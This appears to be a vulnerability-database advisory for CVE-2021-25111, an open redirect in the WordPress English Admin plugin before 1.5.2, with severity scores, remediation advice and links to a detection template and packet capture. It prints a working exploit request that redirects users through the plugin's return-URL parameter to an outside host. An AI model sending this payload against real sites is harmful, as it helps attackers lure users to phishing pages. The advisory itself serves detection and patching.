🔙 목록으로 돌아가기

CVE-2021-25111: WordPress English Admin <1.5.2 - Open Redirect

TitleWordPress English Admin <1.5.2 - Open Redirect
Authorakincibor
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the execution of other malicious activities.
RemediationUpdate to the latest version of the WordPress English Admin plugin (1.5.2 or higher) to fix the open redirect vulnerability.
CVSS Score6.1
EPSS Score0.01767
CVE IDCVE-2021-25111
CWE IDCWE-601
Tags cve2021 cve unauth wpscan wp-plugin redirect wordpress wp english_wordpress_admin_project vuln

🔍 Vulnerability Description

WordPress English Admin plugin before 1.5.2 contains an open redirect vulnerability. The plugin does not validate the admin_custom_language_return_url before redirecting users to it. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=heartbeat&admin_custom_language_toggle=1&admin_custom_language_return_url=https://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25111.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-25111.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A